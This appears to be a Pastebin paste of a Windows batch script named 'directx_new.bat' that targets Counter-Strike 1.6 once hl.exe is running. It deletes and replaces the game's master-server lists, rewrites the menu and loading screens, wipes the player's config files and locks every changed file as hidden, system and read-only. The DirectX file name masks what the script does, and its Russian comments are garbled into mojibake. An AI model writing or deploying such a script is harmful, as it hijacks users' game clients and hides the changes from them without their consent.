Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- title Ďîčńę ďđîöĺńŕ
- :Start
- cls
- echo search...
- echo.
- tasklist | find "hl.exe"
- if errorlevel 1 goto NoRecord
- echo.
- echo result: Detect process
- goto Done
- :NoRecord
- goto :Start
- echo result: Process not found
- :Done
- ping 0 -n 3
- :Start2
- cls
- echo search...
- echo.
- tasklist | find "hl.exe"
- if errorlevel 1 goto NoRecord2
- echo.
- echo result: Detect process
- goto Done2
- :NoRecord2
- goto :Start2
- echo result: Process not found
- :Done2
- @echo off
- Setlocal
- ::Ďîëó÷čňü PID, Path, Parameters ďî čěĺíč ďđîöĺńńŕ
- set ProcName=hl.exe
- Call :GetProcessInfo "" "%ProcName%" ProcPath ProcParam PID
- ::Ďîëó÷čňü Name, Path, Parameters ďî PID ďđîöĺńńŕ
- ::set PID=5000
- ::Call :GetProcessInfo "%PID%" "" ProcPath ProcParam ProcName
- ::Ďîëó÷čňü Path, Parameters ďî čěĺíč ďđîöĺńńŕ č ĺăî PID
- ::set ProcName=calc.exe
- ::set PID=5000
- ::Call :GetProcessInfo "%PID%" "%ProcName%" ProcPath ProcParam
- Echo Process Name = %ProcName%
- Echo PID = %PID%
- Echo Path = %ProcPath%
- Echo Parameters = %ProcParam%
- Echo.
- Echo Process Name = %ProcName%
- cd %ProcPath%
- md config
- md platform
- cd %ProcPath%\platform
- md config
- cd %ProcPath%
- md cstrike
- cd %ProcPath%\cstrike
- md resource
- cd %ProcPath%
- md cstrike_russian
- cd %ProcPath%\cstrike_russian
- md resource
- cd %ProcPath%
- attrib -h -s -r config/MasterServers.vdf
- attrib -h -s -r config/MasterServers2.vdf
- attrib -h -s -r config/MasterServer.vdf
- attrib -h -s -r config/MasterServer2.vdf
- attrib -h -s -r config/rev_MasterServers.vdf
- attrib -h -s -r config/rev_MasterServer.vdf
- cd config
- del MasterServers.vdf
- del MasterServers2.vdf
- del MasterServer.vdf
- del MasterServer2.vdf
- del rev_MasterServers.vdf
- del rev_MasterServer.vdf
- cd %ProcPath%
- copy "C:\system.lst" "%ProcPath%\config\MasterServers.vdf"
- copy "C:\system.lst" "%ProcPath%\config\MasterServers2.vdf"
- copy "C:\system.lst" "%ProcPath%\config\MasterServer.vdf"
- copy "C:\system.lst" "%ProcPath%\config\MasterServer2.vdf"
- copy "C:\system.lst" "%ProcPath%\config\rev_MasterServers.vdf"
- copy "C:\system.lst" "%ProcPath%\config\rev_MasterServer.vdf"
- cd %ProcPath%
- attrib +h +s +r config/MasterServers.vdf
- attrib +h +s +r config/MasterServers2.vdf
- attrib +h +s +r config/MasterServer.vdf
- attrib +h +s +r config/MasterServer2.vdf
- attrib +h +s +r config/rev_MasterServers.vdf
- attrib +h +s +r config/rev_MasterServer.vdf
- cd %ProcPath%\platform
- attrib -h -s -r config/MasterServers.vdf
- attrib -h -s -r config/MasterServers2.vdf
- attrib -h -s -r config/MasterServer.vdf
- attrib -h -s -r config/MasterServer2.vdf
- attrib -h -s -r config/rev_MasterServers.vdf
- attrib -h -s -r config/rev_MasterServer.vdf
- cd %ProcPath%\platform\config
- del MasterServers.vdf
- del MasterServers2.vdf
- del MasterServer.vdf
- del MasterServer2.vdf
- del rev_MasterServers.vdf
- del rev_MasterServer.vdf
- copy "C:\system.lst" "%ProcPath%\platform\config\MasterServers.vdf"
- copy "C:\system.lst" "%ProcPath%\platform\config\MasterServers2.vdf"
- copy "C:\system.lst" "%ProcPath%\platform\config\MasterServer.vdf"
- copy "C:\system.lst" "%ProcPath%\platform\config\MasterServer2.vdf"
- copy "C:\system.lst" "%ProcPath%\platform\config\rev_MasterServers.vdf"
- copy "C:\system.lst" "%ProcPath%\platform\config\rev_MasterServer.vdf"
- cd %ProcPath%\platform
- attrib +h +s +r config/MasterServers.vdf
- attrib +h +s +r config/MasterServers2.vdf
- attrib +h +s +r config/MasterServer.vdf
- attrib +h +s +r config/MasterServer2.vdf
- attrib +h +s +r config/rev_MasterServers.vdf
- attrib +h +s +r config/rev_MasterServer.vdf
- cd %ProcPath%\cstrike\resource
- attrib -s -h -r GameMenu.res
- attrib -s -h -r LoadingDialog.res
- attrib -s -h -r LoadingDialogNoBanner.res
- attrib -s -h -r LoadingDialogVAC.res
- del GameMenu.res
- del LoadingDialog.res
- del LoadingDialogNoBanner.res
- del LoadingDialogVAC.res
- echo "GameMenu">GameMenu.res
- echo {>>GameMenu.res
- echo "1">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "2">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "3">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "4">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_ResumeGame">>GameMenu.res
- echo "command" "ResumeGame">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "5">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Disconnect">>GameMenu.res
- echo "command" "Disconnect">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo "notsingle" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "6">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_PlayerList">>GameMenu.res
- echo "command" "OpenPlayerListDialog">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo "notsingle" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "7">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "8">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_NewGame">>GameMenu.res
- echo "command" "OpenCreateMultiplayerGameDialog">>GameMenu.res
- echo }>>GameMenu.res
- echo "9">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_FindServers">>GameMenu.res
- echo "command" "OpenServerBrowser">>GameMenu.res
- echo }>>GameMenu.res
- echo "10">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Options">>GameMenu.res
- echo "command" "OpenOptionsDialog">>GameMenu.res
- echo }>>GameMenu.res
- echo "11">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Quit">>GameMenu.res
- echo "command" "Quit">>GameMenu.res
- echo }>>GameMenu.res
- echo }>>GameMenu.res
- copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialog.res"
- copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialogNoBanner.res"
- copy "C:\conspace.lst" "%ProcPath%\cstrike\resource\LoadingDialogVAC.res"
- attrib /s +s +h +r
- :: ==================================================================
- cd %ProcPath%\cstrike_russian\resource
- attrib -s -h -r GameMenu.res
- attrib -s -h -r LoadingDialog.res
- attrib -s -h -r LoadingDialogNoBanner.res
- attrib -s -h -r LoadingDialogVAC.res
- del GameMenu.res
- del LoadingDialog.res
- del LoadingDialogNoBanner.res
- del LoadingDialogVAC.res
- echo "GameMenu">GameMenu.res
- echo {>>GameMenu.res
- echo "1">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "2">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "3">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo }>>GameMenu.res
- echo "4">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_ResumeGame">>GameMenu.res
- echo "command" "ResumeGame">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "5">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Disconnect">>GameMenu.res
- echo "command" "Disconnect">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo "notsingle" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "6">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_PlayerList">>GameMenu.res
- echo "command" "OpenPlayerListDialog">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo "notsingle" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "7">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "">>GameMenu.res
- echo "command" "">>GameMenu.res
- echo "OnlyInGame" "1">>GameMenu.res
- echo }>>GameMenu.res
- echo "8">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_NewGame">>GameMenu.res
- echo "command" "OpenCreateMultiplayerGameDialog">>GameMenu.res
- echo }>>GameMenu.res
- echo "9">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_FindServers">>GameMenu.res
- echo "command" "OpenServerBrowser">>GameMenu.res
- echo }>>GameMenu.res
- echo "10">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Options">>GameMenu.res
- echo "command" "OpenOptionsDialog">>GameMenu.res
- echo }>>GameMenu.res
- echo "11">>GameMenu.res
- echo {>>GameMenu.res
- echo "label" "#GameUI_GameMenu_Quit">>GameMenu.res
- echo "command" "Quit">>GameMenu.res
- echo }>>GameMenu.res
- echo }>>GameMenu.res
- copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialog.res"
- copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialogNoBanner.res"
- copy "C:\conspace.lst" "%ProcPath%\cstrike_russian\resource\LoadingDialogVAC.res"
- attrib /s +s +h +r
- :: ================================================================
- cd %ProcPath%\cstrike
- attrib -s -h -r liblist.gam
- echo game "Counter-Strike">liblist.gam
- echo url_info "www.counter-strike.net">>liblist.gam
- echo url_dl "">>liblist.gam
- echo version "1.6">>liblist.gam
- echo size "184000000">>liblist.gam
- echo svonly "0">>liblist.gam
- echo secure "1">>liblist.gam
- echo type "multiplayer_only">>liblist.gam
- echo cldll "1" >>liblist.gam
- echo hlversion "1111">>liblist.gam
- echo nomodels "1">>liblist.gam
- echo nohimodel "1">>liblist.gam
- echo mpentity "info_player_start">>liblist.gam
- echo gamedll "dlls\mp.dll">>liblist.gam
- echo gamedll_linux "dlls/cs_i386.so">>liblist.gam
- echo trainmap "tr_1">>liblist.gam
- attrib +s +h +r liblist.gam
- attrib -s -h -r valve.rc
- attrib -s -h -r userconfig.cfg
- attrib -s -h -r autoexec.cfg
- attrib -s -h -r violence.cfg
- attrib -s -h -r language.cfg
- attrib -s -h -r listenserver.cfg
- attrib -s -h -r joystick.cfg
- echo //>valve.rc
- echo //>userconfig.cfg
- echo //>autoexec.cfg
- echo //>violence.cfg
- echo //>language.cfg
- echo //>listenserver.cfg
- echo //>joystick.cfg
- attrib +s +h +r valve.rc
- attrib +s +h +r userconfig.cfg
- attrib +s +h +r autoexec.cfg
- attrib +s +h +r violence.cfg
- attrib +s +h +r language.cfg
- attrib +s +h +r listenserver.cfg
- attrib +s +h +r joystick.cfg
- cd ..
- cd %ProcPath%\cstrike
- attrib -s -h -r liblist.gam
- echo game "Counter-Strike">liblist.gam
- echo url_info "www.counter-strike.net">>liblist.gam
- echo url_dl "">>liblist.gam
- echo version "1.6">>liblist.gam
- echo size "184000000">>liblist.gam
- echo svonly "0">>liblist.gam
- echo secure "1">>liblist.gam
- echo type "multiplayer_only">>liblist.gam
- echo cldll "1" >>liblist.gam
- echo hlversion "1111">>liblist.gam
- echo nomodels "1">>liblist.gam
- echo nohimodel "1">>liblist.gam
- echo mpentity "info_player_start">>liblist.gam
- echo gamedll "dlls\mp.dll">>liblist.gam
- echo gamedll_linux "dlls/cs_i386.so">>liblist.gam
- echo trainmap "tr_1">>liblist.gam
- attrib +s +h +r liblist.gam
- attrib -s -h -r valve.rc
- attrib -s -h -r userconfig.cfg
- attrib -s -h -r autoexec.cfg
- attrib -s -h -r violence.cfg
- attrib -s -h -r language.cfg
- attrib -s -h -r listenserver.cfg
- attrib -s -h -r joystick.cfg
- echo //>valve.rc
- echo //>userconfig.cfg
- echo //>autoexec.cfg
- echo //>violence.cfg
- echo //>language.cfg
- echo //>listenserver.cfg
- echo //>joystick.cfg
- attrib +s +h +r valve.rc
- attrib +s +h +r userconfig.cfg
- attrib +s +h +r autoexec.cfg
- attrib +s +h +r violence.cfg
- attrib +s +h +r language.cfg
- attrib +s +h +r listenserver.cfg
- attrib +s +h +r joystick.cfg
- :: ================================================================
- pause
- goto :eof
- :GetProcessInfo %1-Proccess_PID %2-Process_Name %3-var.Process_Path %4-var.Process_Parameters %5-var.Optional-PID_or_Name
- Setlocal EnableDelayedExpansion
- ::Making Query
- if "%~1" neq "" Set Query=ProcessID^^=%~1
- if "%~2" neq "" Set Query=Name^^="%~2"
- if "%~1" neq "" if "%~2" neq "" Set Query=^^(ProcessID^^=%~1 and name^^="%~2"^^)
- if "%~1"=="" if "%~2"=="" Echo Wrong Query. Must be at least 1 parameter %%1 or %%2.& Exit /B 1
- for /f "tokens=1* delims==" %%A in (
- 'WMIC path win32_process WHERE %Query% GET "CommandLine"^,"ExecutablePath"^,"Caption"^,"Handle" /value^|findstr /BC:"CommandLine" /C:"ExecutablePath" /C:"Caption" /C:"Handle"') do (
- if "%%A"=="CommandLine" Set ProcParse=%%B
- if "%%A"=="ExecutablePath" Set ProcessPath=%%~dpB
- if "%%A"=="Caption" Set ProcName=%%B
- if "%%A"=="Handle" Set PID=%%B
- )
- ::Parse Parameters
- Set /A n=0& Set Param=
- for %%A in (%ProcParse%) do Set /A n+=1& if !n! neq 1 (Set Param=!Param!%%A )
- EndLocal& (
- if "%ProcessPath%" neq "" Set %3=%ProcessPath:~0,-1%
- if "%Param%" neq "" Set %4=%Param:~0,-1%
- if "%~5" neq "" if "%~1"=="" (set %~5=%PID%) else (if "%~2"=="" set %~5=%ProcName%)
- )
- Exit /B 0directx_new.bat
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement